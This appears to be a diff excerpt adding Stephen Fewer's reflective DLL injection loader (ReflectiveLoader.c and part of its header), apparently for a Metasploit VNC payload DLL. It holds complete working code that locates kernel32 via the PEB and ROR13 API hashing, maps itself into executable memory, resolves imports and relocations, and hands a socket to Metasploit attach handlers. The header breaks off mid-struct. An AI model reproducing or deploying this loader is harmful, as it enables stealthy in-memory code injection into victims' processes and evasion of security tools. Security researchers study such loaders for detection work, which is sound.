//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _WIN64
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA;
|
||||
GETPROCADDRESS pGetProcAddress;
|
||||
VIRTUALALLOC pVirtualAlloc;
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
UINT_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
UINT_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
UINT_PTR uiAddressArray;
|
||||
UINT_PTR uiNameArray;
|
||||
UINT_PTR uiExportDir;
|
||||
UINT_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
UINT_PTR uiHeaderValue;
|
||||
UINT_PTR uiValueA;
|
||||
UINT_PTR uiValueB;
|
||||
UINT_PTR uiValueC;
|
||||
UINT_PTR uiValueD;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our current EIP
|
||||
#ifdef _WIN64
|
||||
uiLibraryAddress = eip();
|
||||
#else
|
||||
__asm call geteip
|
||||
__asm geteip: pop uiLibraryAddress
|
||||
#endif
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
break;
|
||||
}
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
__movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD );
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( UINT_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( UINT_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
||||
// check if their are any relocations present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// and we itterate through all entries...
|
||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while( uiValueB-- )
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
||||
*(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof( IMAGE_RELOC );
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: process the images exception directory if it has one (PE32+ for x64)
|
||||
/*
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ];
|
||||
// check if their are any exception etries present
|
||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
||||
{
|
||||
// get the number of entries
|
||||
uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
|
||||
// uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY)
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all entries
|
||||
while( uiValueA-- )
|
||||
{
|
||||
//((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress
|
||||
|
||||
// get the next entry
|
||||
uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY );
|
||||
}
|
||||
}
|
||||
*/
|
||||
// STEP 7: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init( SOCKET socket );
|
||||
|
||||
BOOL MetasploitDllAttach( SOCKET socket )
|
||||
{
|
||||
Init( socket );
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL MetasploitDllDetach( DWORD dwExitFunc )
|
||||
{
|
||||
switch( dwExitFunc )
|
||||
{
|
||||
case EXITFUNC_SEH:
|
||||
SetUnhandledExceptionFilter( NULL );
|
||||
break;
|
||||
case EXITFUNC_THREAD:
|
||||
ExitThread( 0 );
|
||||
break;
|
||||
case EXITFUNC_PROCESS:
|
||||
ExitProcess( 0 );
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_METASPLOIT_ATTACH:
|
||||
bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
|
||||
break;
|
||||
case DLL_METASPLOIT_DETACH:
|
||||
bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,197 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_REFLECTIVELOADER_H
|
||||
#define _VNCDLL_LOADER_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror( DWORD d )
|
||||
{
|
||||
return _rotr( d, HASH_KEY );
|
||||
}
|
||||
|
||||
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror( h );
|
||||
h += *c;
|
||||
} while( *++c );
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
